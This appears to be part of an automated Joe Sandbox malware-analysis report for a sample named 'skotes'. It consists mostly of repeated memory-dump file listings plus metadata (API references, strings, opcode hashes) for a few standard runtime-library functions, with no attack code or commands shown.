Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 735ca952e441d0afb445d8a3cec80e5358d463d02722a2448b1b8c1c64b78424
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 7F01A732620525B7CB16FE94A841AEF77999F54350F100095FC21AB251DA75EF2096A0

Function 00219510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00219519

Part of subcall function 0020F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00215486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0021953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00219550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00219559

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: df0c6498d3afe370eb81db8707fb2681c0348b07b1033ac60b6ef4f08e79a463
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 46F0A731620A206EE662AB549861FAA23D5DF51711F40C41DE55BA7583CE24F8D2CF90

Function 0022FCC0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 322COMMONLIBRARYCODE

Download Yara Rule

APIs

__fassign.LIBCMT ref: 0022FEE7
__fassign.LIBCMT ref: 0022FF04

Strings

j718, xrefs: 0022FCCB

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: __fassign
String ID: j718
API String ID: 3965848254-3131343938
Opcode ID: 4617fba3ebc09652e0be4e93cec9f05f16f344494658b4e1bbf6bf5d42f8db37
Instruction ID: cbdf822a8e4f2e7b41f0c8e9f0b10eb1e05ccc86a2a90b39621071745089abc8
Opcode Fuzzy Hash: 4617fba3ebc09652e0be4e93cec9f05f16f344494658b4e1bbf6bf5d42f8db37
Instruction Fuzzy Hash: 2DC1BF71D102699FCF15CFE8D990AEDBBB5BF49304F28016AE815BB242D630AD56CF60

Function 001F26B0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 001F2846
___std_exception_destroy.LIBVCRUNTIME ref: 001F28E0

Strings

j718, xrefs: 001F26D8

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: j718
API String ID: 2970364248-3131343938
Opcode ID: 493bcdf047d4d7011e7151e52394b3035afaf00cbab11f768e684aaf1d7e113f
Instruction ID: 037262ea217d7c5e500fd6bdb524089a7f49d37a5024258bfbe91992a70fb026
Opcode Fuzzy Hash: 493bcdf047d4d7011e7151e52394b3035afaf00cbab11f768e684aaf1d7e113f
Instruction Fuzzy Hash: D371CF71E102089BDB08DFA8D885BEDFBB4FF59310F14421DE905A7282DB74A994CBA5

Function 001FDBE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

list too long, xrefs: 001FE09D
j718, xrefs: 001FDBE6, 001FDD2F

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: j718$list too long
API String ID: 0-1339472559
Opcode ID: 9d3f05623fd48dbb48fcd45e050b796cca6f5f751e3fc94938e19eb26bb310fa
Instruction ID: d750c8661a45c547a3fbda408f0661e14776ef24a57668d5cd678f10093ffb63
Opcode Fuzzy Hash: 9d3f05623fd48dbb48fcd45e050b796cca6f5f751e3fc94938e19eb26bb310fa
Instruction Fuzzy Hash: 0361D5B0D143189BDB10DF64CD45BA9F7B8FF04700F1042A9E90DA7292EB71AA95CF55

Function 00207A00 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMONLIBRARYCODE

Download Yara Rule

APIs

__Cnd_destroy_in_situ.LIBCPMT ref: 00207AF8
__Mtx_destroy_in_situ.LIBCPMT ref: 00207B01

Strings

d+%, xrefs: 00207A94, 00207AA2, 00207A9A

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
